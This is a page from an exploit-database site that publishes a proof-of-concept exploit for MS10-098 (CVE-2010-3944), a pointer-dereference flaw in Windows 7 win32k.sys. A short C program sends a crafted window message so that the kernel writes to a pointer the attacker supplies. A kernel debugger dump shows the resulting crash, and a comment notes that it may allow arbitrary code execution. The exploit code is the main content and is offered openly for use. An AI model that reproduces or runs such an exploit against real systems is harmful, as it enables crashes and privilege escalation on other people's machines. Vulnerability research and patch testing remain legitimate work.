Home / os / win7

[win32] - Windows 7 win32k.sys pointer dereferencement

Posted on 17 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Windows 7 win32k.sys pointer dereferencement | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Windows 7 win32k.sys pointer dereferencement by Stefan LE BERRE in win32 | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================ Windows 7 win32k.sys pointer dereferencement ============================================ /************************************************************************************* * MS10-098 * CVE-2010-3944 * * Microsoft Windows Win32k pointer dereferencement * * -------------------- * Affected Software * ------------------------ * Microsoft Windows 7 / 2008 * * * -------------------- * Consequences * ----------------------- * An unprivileged user may be able to cause a bugcheck, or possibly execute * arbitrary code by CSRSS.EXE. * * * * Credits : Stefan LE BERRE (s.leberre@sysdream.com) * Ludo t0ka7a * * WebSites : http://www.sysdream.com/ * http://ghostsinthestack.org/ * http://infond.blogspot.com/ * http://twitter.com/hackinparis * * kd&gt; r * eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618 * eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0 nv up ei ng nz na pe nc * cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 * win32k!xxxRealDefWindowProc+0xf6: * 8d72af90 c60000 mov byte ptr [eax],0 ds:0023:00013370=?? * *************************************************************************************/ #include &lt;stdio.h&gt; #include &lt;windows.h&gt; #include &lt;Winuser.h&gt; int main(int argc, char *argv[]) { SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769 return 0; } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-17]</pre></body></html>

 

TOP